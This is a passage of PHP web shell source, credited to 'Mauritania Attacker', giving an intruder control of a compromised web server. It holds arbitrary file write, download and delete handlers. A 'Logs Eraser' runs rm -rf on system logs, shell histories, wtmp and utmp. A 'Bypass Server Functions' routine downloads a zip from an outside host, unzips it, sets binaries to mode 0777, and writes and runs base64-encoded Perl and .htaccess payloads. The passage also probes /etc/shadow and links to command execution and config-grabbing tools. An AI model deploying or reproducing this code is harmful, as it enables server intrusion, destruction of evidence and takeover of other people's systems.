402echo '<font color="#007700"> Permission:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
403}
404else{
405echo '<font color="#007700"> Permission:</font><b class="tul"><font color="red"> OFF </font></b>';
406}
407?>
408</div>
409</center>
410
411
412<?php
413#################################################################
414//code for php.ini
415
416if(isset($_POST['source']) && isset($_POST['file'])){
417$source = $_POST['source'];
418$file = $_POST['file'];
419$fp = fopen($file, 'w');
420fwrite($fp, $source);
421fclose($fp);
422echo '<center><font color="#b0b000"><b>File saved</b></font></center>';
423}
424if(isset($_GET['turnoff'])){
425if(is_writable(".htaccess")){
426$value = $_GET['turnoff'];
427if(file_exists(".htaccess")){
428// fread example
429$handle = fopen(".htaccess", "r");
430$contents = ';
431while (!feof($handle)) {
432$read = fread($handle, 8192);
433$contents = $contents.$read;
434
435
436?>
437
438<center><br><br><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:#007700;>Turn off php.ini</font></b><br><br></center>
439<center><span style="color: #b0b000;font-family: ‘Courier New’, Courier, monospace;font-size:12px">Use htaccess to turn php.ini functions on/off<br>Example: php_value magic_quotes_gpc off</span></center>
440<form action="" method="post">
441<center><br><textarea class="area" id="source" name="source"> -->
442<?php
443
444if($value == 'magic_quotes_gpc'){
445$data = 'php_value magic_quotes_gpc off
446'.$contents;
447echo $data;
448}
449else{
450echo $contents;
451}
452 ?>
453 </textarea></center>
454 <input type="hidden" name="file" value=".htaccess"><br>
455 <center><input type="submit" value="Save File"></center>
456 </form>
457 <?php
458}
459fclose($handle);
460}
461}
462if(!file_exists(".htaccess")){
463// make htaccess file
464$myfile = '.htaccess';
465$handle = fopen($myfile, 'w') or die('Cannot open file: '.$myfile);
466fclose($handle);
467echo '<br><center><font color="#b0b000"><b>File created</b></font> <b><a href="?turnoff=ini">click here</a></b></center>';
468}
469?>
470<?php
471}
472
473// make file
474if(isset($_GET['make'])){
475// file maker
476if(!file_exists($_GET['make'])){
477// make htaccess file
478$myfile = $_GET['make'];
479$handle = fopen($myfile, 'w') or die('Cannot open file: '.$myfile);
480fclose($handle);
481echo '<center><font color="#b0b000"><b>File created</b></font> <a href="?view='.$myfile.'&dir=0">click here</a></center>';
482}
483else{
484echo '<center><font color="red">This file exist.</font> <a href="?delete='.$_GET['make'].'">delete</a> <a href="?view='.$_GET['make'].'">open</a><center>';
485}
486}
487
488if(isset($_GET['get'])){
489// download
490$file = $_GET['get'];
491if (file_exists($file)) {
492 header('Content-Description: File Transfer');
493 header('Content-Type: application/octet-stream');
494 header('Content-Disposition: attachment; filename='.basename($file));
495 header('Content-Transfer-Encoding: binary');
496 header('Expires: 0');
497 header('Cache-Control: must-revalidate');
498 header('Pragma: public');
499 header('Content-Length: ' . filesize($file));
500 ob_clean();
501 flush();
502 readfile($file);
503 exit();
504}
505}
506
507if(isset($_GET['view'])){
508$file = $_GET['view'];
509?><br><center>
510<form action="" method="post">
511<textarea class="area" id="source" name="source">
512<?php
513if(file_exists($file)){
514$open = htmlspecialchars(file_get_contents($file));
515if($open){
516echo $open;
517}
518}
519else{
520echo ' FILE DOES NOT EXISTS';
521}
522?>
523</textarea>
524<input type="hidden" name="file" value="<?php echo $file; ?>"><br><br>
525<center><input type="submit" value="Save File"> <a href="?zip=<?php echo $file; ?>" style="font-size:14; padding: 3px;border: 1px solid #007700; background: black;color: #007700; background: transparent; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px;
526 -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px; -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;"><b>Download</b></a> <a href="?delete=<?php echo $file; ?>&action=mumpet" style="font-size:14; padding: 3px;border: 1px solid #007700 ;background: black;color: #007700; background: transparent; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px;
527 -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px; -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;"><b>Delete</b></a></center>
528</input></form></center>
529<?php
530}
531
532
533if(isset($_GET['action']) && $_GET['action'] == 'simlinge'){
534$a = fopen("vws.pl", "w");
535fputs($a, $symlink);
536fclose($a);
537system("perl vws.pl");
538}
539
540
541if(isset($_GET['action']) && $_GET['action'] == 'deltlogss'){
542echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Logs Eraser</span><center><br>';
543//exec function madafuck !
544echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
545exec("rm -rf /tmp/logs");
546exec("rm -rf /root/.ksh_history");
547exec("rm -rf /root/.bash_history");
548exec("rm -rf /root/.bash_logout");
549exec("rm -rf /usr/local/apache/logs");
550exec("rm -rf /usr/local/apache/log");
551exec("rm -rf /var/apache/logs");
552exec("rm -rf /var/apache/log");
553exec("rm -rf /var/run/utmp");
554exec("rm -rf /var/logs");
555exec("rm -rf /var/log");
556exec("rm -rf /var/adm");
557exec("rm -rf /etc/wtmp");
558exec("rm -rf /etc/utmp");
559exec("rm -rf $HISTFILE");
560exec("rm -rf /var/log/lastlog");
561exec("rm -rf /var/log/wtmp");
562
563//shell_exec function madafuck !
564shell_exec("rm -rf /tmp/logs");
565shell_exec("rm -rf /root/.ksh_history");
566shell_exec("rm -rf /root/.bash_history");
567shell_exec("rm -rf /root/.bash_logout");
568shell_exec("rm -rf /usr/local/apache/logs");
569shell_exec("rm -rf /usr/local/apache/log");
570shell_exec("rm -rf /var/apache/logs");
571shell_exec("rm -rf /var/apache/log");
572shell_exec("rm -rf /var/run/utmp");
573shell_exec("rm -rf /var/logs");
574shell_exec("rm -rf /var/log");
575shell_exec("rm -rf /var/adm");
576shell_exec("rm -rf /etc/wtmp");
577shell_exec("rm -rf /etc/utmp");
578shell_exec("rm -rf $HISTFILE");
579shell_exec("rm -rf /var/log/lastlog");
580shell_exec("rm -rf /var/log/wtmp");
581
582//passthru function madafuck !
583passthru("rm -rf /tmp/logs");
584passthru("rm -rf /root/.ksh_history");
585passthru("rm -rf /root/.bash_history");
586passthru("rm -rf /root/.bash_logout");
587passthru("rm -rf /usr/local/apache/logs");
588passthru("rm -rf /usr/local/apache/log");
589passthru("rm -rf /var/apache/logs");
590passthru("rm -rf /var/apache/log");
591passthru("rm -rf /var/run/utmp");
592passthru("rm -rf /var/logs");
593passthru("rm -rf /var/log");
594passthru("rm -rf /var/adm");
595passthru("rm -rf /etc/wtmp");
596passthru("rm -rf /etc/utmp");
597passthru("rm -rf $HISTFILE");
598passthru("rm -rf /var/log/lastlog");
599passthru("rm -rf /var/log/wtmp");
600
601
602//Let the Mother of Functions To Complete The Task wkwkwkw xD!
603system("rm -rf /tmp/logs");
604sleep(2);
605echo'<br><font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Deleted [+].../tmp/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif>';
606sleep(2);
607
608system("rm -rf /root/.bash_history");
609sleep(2);
610echo'<p>Deleted [+].../root/.bash_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
611
612system("rm -rf /root/.ksh_history");
613sleep(2);
614echo'<p>Deleted [+].../root/.ksh_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
615
616system("rm -rf /root/.bash_logout");
617sleep(2);
618echo'<p>Deleted [+].../root/.bash_logout <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
619
620system("rm -rf /usr/local/apache/logs");
621sleep(2);
622echo'<p>Deleted [+].../usr/local/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
623
624system("rm -rf /usr/local/apache/log");
625sleep(2);
626echo'<p>Deleted [+].../usr/local/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
627
628system("rm -rf /var/apache/logs");
629sleep(2);
630echo'<p>Deleted [+].../var/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
631
632system("rm -rf /var/apache/log");
633sleep(2);
634echo'<p>Deleted [+].../var/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
635
636system("rm -rf /var/run/utmp");
637sleep(2);
638echo'<p>Deleted [+].../var/run/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
639
640system("rm -rf /var/logs");
641sleep(2);
642echo'<p>Deleted [+].../var/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
643
644system("rm -rf /var/log");
645sleep(2);
646echo'<p>Deleted [+].../var/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
647
648system("rm -rf /var/adm");
649sleep(2);
650echo'<p>Deleted [+].../var/adm <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
651
652system("rm -rf /etc/wtmp");
653sleep(2);
654echo'<p>Deleted [+].../etc/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
655
656system("rm -rf /etc/utmp");
657sleep(2);
658echo'<p>Deleted [+].../etc/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
659
660system("rm -rf $HISTFILE");
661sleep(2);
662echo'<p>Deleted [+]...$HISTFILE <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
663
664system("rm -rf /var/log/lastlog");
665sleep(2);
666echo'<p>Deleted [+].../var/log/lastlog <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
667
668system("rm -rf /var/log/wtmp");
669sleep(2);
670echo'<p>Deleted [+].../var/log/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
671
672sleep(4);
673
674echo '</font><br><br><p><font color="00bb00" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Your Traces Has Been Successfully Erased From the Server';
675echo"</td></tr></table>";
676
677}
678
679
680if(isset($_GET['action']) && $_GET['action'] == 'exgz'){
681echo '<center><b class="conte">
682<a href="?action=exgz">Bypass Server Functions</a> -
683<a href="?action=tespr">Test Permission</a> -
684<a href="?action=srvrinformations">Server Informations</a> </center>
685</b>';
686echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Server Functions 100% Priv8</span><center>';
687echo '<center><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Coded By Mauritania Attacker</font><br><br><font color="#009900" face="Tahoma, Geneva, sans-serif" style="font-size: 12pt">Force Enabling Functions on the Server <font/></b><br><br>
688<form method="post"><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Remote File Zip Functions</font> <input type="text" size="40" name="shell" value="http://hcp1.es/wp-content/uploads/ghost.zip"> <input type="submit" value="Bypass Functions Now" name="fuck"></center>
689</form><br><br>
690</center>';
691@error_reporting(0);
692/*
693* Coded By : Mauritania Attacker
694* Avalaibility : Priv99999999999 !
695* This Tool is not for kids !!
696* GreetZ To All AnonGhost MemberZ
697*/
698
699$file = $_POST['shell'];
700//Generate zip file
701$fopen = fopen("ghost.zip",'w');
702$shell = @file_get_contents($file);
703$swrite = fwrite($fopen ,$shell);
704if($swrite){
705echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
706echo "<font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Zip Functions Uploaded Successfully\n</font><br>";
707sleep(2);
708echo "<p><font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Going To Unzip All Functions Now Be patient Nygga ....</font></p><br>";
709
710sleep(2);
711
712//system
713system('unzip ghost.zip');
714
715chmod("id" , 0777);
716chmod("gunzip" , 0777);
717chmod("pwd" , 0777);
718chmod("ln" , 0777);
719chmod("ls" , 0777);
720chmod("chmod" , 0777);
721chmod("uname" , 0777);
722chmod("rm" , 0777);
723chmod("su" , 0777);
724chmod("tail" , 0777);
725chmod("Ptouch" , 0777);
726chmod("who" , 0777);
727chmod("gcc" , 0777);
728chmod("tar" , 0777);
729chmod("du" , 0777);
730chmod("dir" , 0777);
731chmod("wget" , 0777);
732chmod("date" , 0777);
733chmod("gzip" , 0777);
734chmod("sh" , 0777);
735
736//passthru
737passthru('unzip ghost.zip');
738
739chmod("id" , 0777);
740chmod("gunzip" , 0777);
741chmod("pwd" , 0777);
742chmod("ln" , 0777);
743chmod("ls" , 0777);
744chmod("chmod" , 0777);
745chmod("uname" , 0777);
746chmod("rm" , 0777);
747chmod("su" , 0777);
748chmod("tail" , 0777);
749chmod("Ptouch" , 0777);
750chmod("who" , 0777);
751chmod("gcc" , 0777);
752chmod("tar" , 0777);
753chmod("du" , 0777);
754chmod("dir" , 0777);
755chmod("wget" , 0777);
756chmod("date" , 0777);
757chmod("gzip" , 0777);
758chmod("sh" , 0777);
759
760//shell_exec
761shell_exec('unzip ghost.zip');
762
763chmod("id" , 0777);
764chmod("gunzip" , 0777);
765chmod("pwd" , 0777);
766chmod("ln" , 0777);
767chmod("ls" , 0777);
768chmod("chmod" , 0777);
769chmod("uname" , 0777);
770chmod("rm" , 0777);
771chmod("su" , 0777);
772chmod("tail" , 0777);
773chmod("Ptouch" , 0777);
774chmod("who" , 0777);
775chmod("gcc" , 0777);
776chmod("tar" , 0777);
777chmod("du" , 0777);
778chmod("dir" , 0777);
779chmod("wget" , 0777);
780chmod("date" , 0777);
781chmod("gzip" , 0777);
782chmod("sh" , 0777);
783
784//exec
785exec('unzip ghost.zip');
786
787chmod("id" , 0777);
788chmod("gunzip" , 0777);
789chmod("pwd" , 0777);
790chmod("ln" , 0777);
791chmod("ls" , 0777);
792chmod("chmod" , 0777);
793chmod("uname" , 0777);
794chmod("rm" , 0777);
795chmod("su" , 0777);
796chmod("tail" , 0777);
797chmod("Ptouch" , 0777);
798chmod("who" , 0777);
799chmod("gcc" , 0777);
800chmod("tar" , 0777);
801chmod("du" , 0777);
802chmod("dir" , 0777);
803chmod("wget" , 0777);
804chmod("date" , 0777);
805chmod("gzip" , 0777);
806chmod("sh" , 0777);
807
808//proc_open
809proc_open('unzip ghost.zip');
810
811chmod("id" , 0777);
812chmod("gunzip" , 0777);
813chmod("pwd" , 0777);
814chmod("ln" , 0777);
815chmod("ls" , 0777);
816chmod("chmod" , 0777);
817chmod("uname" , 0777);
818chmod("rm" , 0777);
819chmod("su" , 0777);
820chmod("tail" , 0777);
821chmod("Ptouch" , 0777);
822chmod("who" , 0777);
823chmod("gcc" , 0777);
824chmod("tar" , 0777);
825chmod("du" , 0777);
826chmod("dir" , 0777);
827chmod("wget" , 0777);
828chmod("date" , 0777);
829chmod("gzip" , 0777);
830chmod("sh" , 0777);
831
832sleep(3);
833
834echo "<p><font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Loading Perl Functions.... </font> </p>";
835//chmod.pl generate
836$shellw0rm = 'eyANCnN5c3RlbSgidW56aXAgZ2hvc3QuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyBpZCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZ3VuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyBwd2QiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxuIik7DQpzeXN0ZW0oImNobW9kIDc3NyBscyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdkIik7DQpzeXN0ZW0oImNobW9kIDc3NyBjaG1vZCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdW5hbWUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJtIik7DQpzeXN0ZW0oImNobW9kIDc3NyBjYXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHN1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB0YWlsIik7DQpzeXN0ZW0oImNobW9kIDc3NyB0b3VjaCIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgd2hvIik7DQpzeXN0ZW0oImNobW9kIDc3NyBnY2MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJtIik7DQpzeXN0ZW0oImNobW9kIDc3NyB0YXIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGR1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBkaXIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHdnZXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGRhdGUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGd6aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHNoIik7DQp9';
837$chmoderr = fopen("chmod.pl" ,"w+");
838$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
839if($write){
840echo "<p><font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Perl Modules Uploaded Successfully</font></p><br>";
841fclose($chmoderr);
842chmod("chmod.pl",0755);
843
844
845//Extracting htaccess to enable perl handler and type all depends on the server :D
846$htaccess = 'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==';
847$lol = fopen(".htaccess" ,"w+");
848$dwrite = fwrite ($lol ,base64_decode($htaccess));
849fclose($chmoderr);
850
851sleep(2);
852
853//unzip with perl , if php can't do unzip perl maybe can
854echo "<p><b><font color='009900' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Unzipping Functions with Perl </font></b></p><br>";
855
856system('perl chmod.pl');
857passthru('perl chmod.pl');
858shell_exec('perl chmod.pl');
859exec('perl chmod.pl');
860proc_open('perl chmod.pl');
861echo"</td></tr></table>";
862}
863}
864}
865
866if(isset($_GET['action']) && $_GET['action'] == 'iplookdom'){
867
868 echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Ip Lookup Reverse Domain By Mauritania Attacker</span></center>
869";
870echo "<center><img border='0' src='http://www.serveu.net/images/stories/geolocation.png' width=\"200\" height=\"200\" style='margin-top:10px'></center><div id=result>";
871echo "<center><br><form><input type='text' size='60' value='yahoo.com' name='ghost' /><input type='hidden' name='action' value='iplookdom'> <input type='submit' value=' ✓ '></form></center>";
872if(isset($_GET["ghost"]))
873{
874$site = $_GET["ghost"];
875$ghost = "http://domains.yougetsignal.com/domains.php";
876
877//Curl Function
878$ch = curl_init($ghost);
879curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
880curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$site&ket=");
881curl_setopt($ch, CURLOPT_HEADER, 0);
882curl_setopt($ch, CURLOPT_POST, 1);
883$resp = curl_exec($ch);
884$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"',', $resp ) ) ) ) ) ) ) ) ) ))));
885$array = explode(",,", $resp);
886unset($array[0]);
887echo "<table style='margin: 0 auto'>";
888foreach($array as $lnk)
889{
890 print "<tr><td><a style=\"color:#0f0;font-weight:bold;\" href='$lnk' target=_blank>$lnk</a></td></tr>";
891}
892echo "</table>";
893curl_close($ch);
894}
895
896
897}
898if(isset($_GET['action']) && $_GET['action'] == 'srvrinformations'){
899echo '<center><b class="conte">
900<a href="?action=exgz">Bypass Server Functions</a> -
901<a href="?action=tespr">Test Permission</a> -
902<a href="?action=srvrinformations">Server Informations</a> </center>
903</b>';
904echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Server Security Informations</span><center><br>";
905echo "<center><div class='tmpe'>
906<table align='center' width='50%'><td><font color='#007700'>Kernel Version</font></td><td>";echo php_uname();
907echo "<tr><td><font color='#007700'>Web Server</font></td><td>";echo $_SERVER["SERVER_SOFTWARE"];
908echo "<tr><td><font color='#007700'>PHP Version</font></td><td>";echo phpversion(); echo " on "; echo php_sapi_name();
909echo "<tr><td><font color='#007700'>Current User</font></td><td>";echo get_current_user();
910echo "<tr><td><font color='#007700'>User ID</font></td><td>";echo getmyuid();
911echo "<tr><td><font color='#007700'>Group</font></td><td>";echo getmygid();
912echo "<tr><td><font color='#007700'>Cwd </font></td><td>";echo getcwd();
913echo "<tr><td><font color='#007700'>Admin Server</font></td><td>";echo $_SERVER['SERVER_ADMIN'];
914echo "<tr><td><font color='#007700'>Server Port</font></td><td>";echo $_SERVER['SERVER_PORT'];
915echo "<tr><td><font color='#007700'>Server IP</font></td><td>";echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
916echo "<tr><td><font color='#007700'>Client IP</font></td><td>";echo $_SERVER['REMOTE_ADDR'];
917echo "<tr><td><font color='#007700'>cURL support</font></td><td>";echo function_exists('curl_version')?'Enabled':'No';
918echo "<tr><td><font color='#007700'>Readable /etc/passwd</font></td><td>";echo @is_readable('/etc/passwd')?"Readable <a href='?action=moco'> [View]</a>":"Not Readable";
919echo "<tr><td><font color='#007700'>Readable /etc/shadow</font></td><td>";echo @is_readable('/etc/shadow')?"Readable":"Not Readable";
920$base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON <font color='#007700'>secure</font>":"OFF <font color='#007700'>not secure</font>";
921echo "<tr><td><font color='#007700'>Open Base Dir</font></td><td><font class=txt>" . $base . "</font>";
922echo "</table></div></center><br>";
923}
924
925
926if(isset($_GET['action']) && $_GET['action'] == 'tespr'){
927echo '<center><b class="conte">
928<a href="?action=exgz">Bypass Server Functions</a> -
929<a href="?action=tespr">Test Permission</a> -
930<a href="?action=srvrinformations">Server Informations</a> </center>
931</b>';
932echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Test Permission</span><center><br>';
933
934echo '<center><table style="border:1px solid #007700;">';
935echo '<tr>';
936if(ini_get('id') == '1'){
937echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> id: </font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
938}
939else{
940echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> id: </font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
941}
942if(ini_get('gunzip') == '1'){
943echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | gunzip: </font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
944}
945else{
946echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | gunzip: </font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
947}
948if(ini_get('pwd') == '1'){
949echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | pwd:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
950}
951else{
952echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | pwd:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
953}
954if(ini_get('ln') == '1'){
955echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | ln:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
956}
957else{
958echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | ln:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
959}
960if(ini_get('ls') == '1'){
961echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | ls:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
962}
963else{
964echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | ls:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
965}
966if(ini_get('chmod') == '1'){
967echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | chmod:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
968}
969else{
970echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | chmod:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
971}
972echo '</tr><tr>';
973if(ini_get('uname') == '1'){
974echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> uname:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
975}
976else{
977echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> uname:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
978}
979if(ini_get('rm') == '1'){
980echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | rm:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
981}
982else{
983echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | rm:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
984}
985if(ini_get('su') == '1'){
986echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | su:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
987}
988else{
989echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | su:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
990}
991
992if(ini_get('tail') == '1'){
993echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | tail:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
994}
995else{
996echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | tail:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
997}
998if(ini_get('Ptouch') == '1'){
999echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | Ptouch:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1000}
1001else{
1002echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | Ptouch:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1003}
1004if(ini_get('who') == '1'){
1005echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | who:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1006}
1007else{
1008echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | who:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1009}
1010echo '</tr><tr>';
1011if(ini_get('gcc') == '1'){
1012echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> gcc:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1013}
1014else{
1015echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> gcc:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1016}
1017if(ini_get('tar') == '1'){
1018echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | tar:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1019}
1020else{
1021echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | tar:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1022}
1023if(ini_get('du') == '1'){
1024echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | du:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1025}
1026else{
1027echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | du:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1028}
1029if(ini_get('dir') == '1'){
1030echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | dir:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1031}
1032else{
1033echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | dir:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1034}
1035if(ini_get('wget') == '1'){
1036echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | wget:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1037}
1038else{
1039echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | wget:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1040}
1041if(ini_get('date') == '1'){
1042echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | date:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1043}
1044else{
1045echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | date:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1046}
1047echo '</tr><tr>';
1048
1049if(ini_get('gzip') == '1'){
1050echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> gzip:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1051}
1052else{
1053echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> gzip:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1054}
1055if(ini_get('sh') == '1'){
1056echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | sh:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1057}
1058else{
1059echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | sh:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1060}
1061echo '</tr>';
1062echo '</table></center>';
1063
1064}
1065
1066
1067
1068if(isset($_GET['action']) && $_GET['action'] == 'exploit'){
1069echo '<center><b class="conte">
1070<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
1071<a href="?action=cmd">Command Execution</a> -
1072<a href="?action=com64">Base64 Command</a> -
1073<a href="?action=vgrab">Config Grabber</a> -
1074<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
1075<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
